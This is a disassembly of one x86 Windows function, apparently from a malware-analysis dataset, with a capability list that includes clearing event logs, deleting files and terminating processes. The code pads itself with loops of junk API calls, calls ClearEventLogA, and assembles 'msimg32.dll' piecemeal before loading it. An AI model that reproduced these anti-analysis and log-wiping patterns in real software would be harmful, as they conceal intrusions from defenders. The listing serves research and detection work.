Function at 0x472ea0
Capabilities:
Access the windows event log
Clear windows event logs
Copy file
Delete file
Get common file path
Get disk information
Get file attributes
Manipulate console buffer
Move file
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4740fc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2700
call fcn.00412610
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xe4]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2cdb4
jge 0x472eef
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0x7fdce4], 0x6fb
jne 0x472f0d
push 0
lea eax, [esp + 0x314]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9afa00
jle 0x472f25
cmp ebx, 0xc10c66
je 0x472f25
cmp ebp, 0x952d5ac
jne 0x472f2e
inc esi
cmp esi, 0x80c48
jl 0x472edd
cmp dword [0x7fdce4], 0xcf8
jne 0x4730d8
lea ecx, [esp + 0xd4]
push ecx
push 0
push 0x403fa0
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0x7fdce4], 0x3a
jne 0x472f7d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea edx, [esp + 0x310]
push edx
push 0
push 0x403fd8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
xor ebp, ebp
push ebp
call fcn.0040751d
add esp, 4
push ebp
push ebp
call fcn.004073e1
add esp, 8
lea eax, [esp + 0x30]
push eax
call fcn.004055c0
push ebp
push ebp
call fcn.004074dd
push ebp
push ebp
call fcn.004074dd
push ebp
call fcn.004075f1
mov edx, dword [esp + 0x44]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x9c]
add esp, 0x14
mov dword [esp + 0x14], ecx
mov dword [esp + eax + 0x30], 0x40417c
mov dword [esp + 0x271c], ebp
test byte [esp + 0x80], 1
lea ecx, [esp + 0x40]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x40], 0x40413c
je 0x472ffd
mov edx, dword [esp + 0x50]
mov eax, dword [edx]
push eax
call fcn.004075e6
add esp, 4
mov eax, dword [esp + 0x50]
mov dword [eax], ebp
mov ecx, dword [esp + 0x60]
mov dword [ecx], ebp
mov edx, dword [esp + 0x70]
mov dword [edx], ebp
mov eax, dword [esp + 0x54]
mov dword [eax], ebp
mov ecx, dword [esp + 0x64]
mov dword [ecx], ebp
mov edx, dword [esp + 0x74]
mov dword [edx], ebp
and dword [esp + 0x80], 0xfffffffe
mov dword [esp + 0x7c], ebp
mov dword [esp + 0x40], 0x4040f4
mov byte [esp + 0x271c], 1
mov eax, dword [esp + 0x78]
mov ebx, eax
cmp eax, ebp
je 0x473092
mov edi, dword [eax]
cmp edi, ebp
je 0x473089
push ebp
lea ecx, [esp + 0x1c]
call fcn.00406a52
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x473067
cmp eax, 0xffffffff
jae 0x473067
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x18]
and esi, edi
call fcn.00406a7a
cmp esi, ebp
je 0x473089
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.004075e6
add esp, 4
lea ecx, [esp + 0x44]
mov byte [esp + 0x271c], 0
call fcn.00406aab
mov dword [esp + 0x271c], 0xffffffff
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 4]
lea edx, [esp + 0x88]
mov dword [esp + ecx + 0x30], 0x404134
push edx
mov dword [esp + 0x8c], 0x4040e4
call fcn.0040665e
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
xor esi, esi
cmp esi, 0x408
jne 0x4730f3
mov eax, 0x5d1
add dword [0x7fdce4], eax
cmp dword [0x7fdce4], 3
jne 0x473123
xor eax, eax
lea edx, [esp + 0x1c]
push edx
push eax
push eax
push 0x404028
push eax
mov dword [esp + 0x28], eax
call edi
push 0
push 0
lea ecx, [esp + 0x718]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
inc esi
cmp esi, 0x1518d4
jl 0x4730e0
mov edx, dword [0x7fdce4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x47ed34], eax
mov eax, dword [0x7fdce4]
xor esi, esi
test eax, eax
je 0x47318b
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
cmp eax, 0xfe
jne 0x473162
push 0
call ebx
call fcn.00472aa0
mov eax, dword [0x7fdce4]
cmp eax, 0x29
jne 0x473186
push 0
push 0
lea eax, [esp + 0x718]
push eax
push 0
call edi
mov eax, dword [0x7fdce4]
inc esi
cmp esi, eax
jb 0x473157
cmp eax, 0x70
jne 0x473280
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call esi
push 0
push 0x404048
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea ecx, [esp + 0x1710]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea edx, [esp + 0xf14]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
lea eax, [esp + 0x314]
push eax
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
push 0
lea ecx, [esp + 0x1f18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
push 0
push 0
call esi
push 0
lea edx, [esp + 0x714]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
mov eax, dword [0x7fdce4]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 0xdf
jne 0x4733aa
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
call ebp
xor eax, eax
lea edx, [esp + 0x1c]
push edx
push eax
push eax
lea ecx, [esp + 0x1f1c]
push ecx
push eax
mov dword [esp + 0x28], eax
call ebx
lea edx, [esp + 0x24]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x20]
push eax
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push 0
lea edx, [esp + 0xf14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea eax, [esp + 0xe0]
push eax
push 0x404050
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
lea ecx, [esp + 0x1710]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0x7fdce4]
dec dword [esp + 0x18]
jne 0x4732a0
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
nop
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x4733c0
mov byte [0x479fa0], 0
call fcn.004729b0
call fcn.00472ce0
mov edi, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
jmp 0x4733f0
cmp dword [0x7fdce4], 0xba
jne 0x473402
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x473415
mov eax, 0
add dword [0x47ed34], eax
inc esi
cmp esi, 0x1605a
jl 0x4733f0
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0x1e6dcb
nop
cmp dword [0x7fdce4], 0x85
jne 0x47344a
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x473430
push 0x479fa0
mov dword [0x479fa2], 0x33676d69
mov word [0x479fa0], 0x736d
mov dword [0x479fa8], 0x6c6c64
mov word [0x479fa6], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x7fdce4], 0xc30
jne 0x473530
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [esp + 0x1d0]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push ebx
lea eax, [esp + 0x24]
push eax
push ebx
lea ecx, [esp + 0x71c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x404058
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
lea edx, [esp + 0x28]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push ebx
lea eax, [esp + 0x314]
push eax
push 0x4040c8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea ecx, [esp + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x20]
push ebx
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov ecx, dword [esp + 0x2714]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret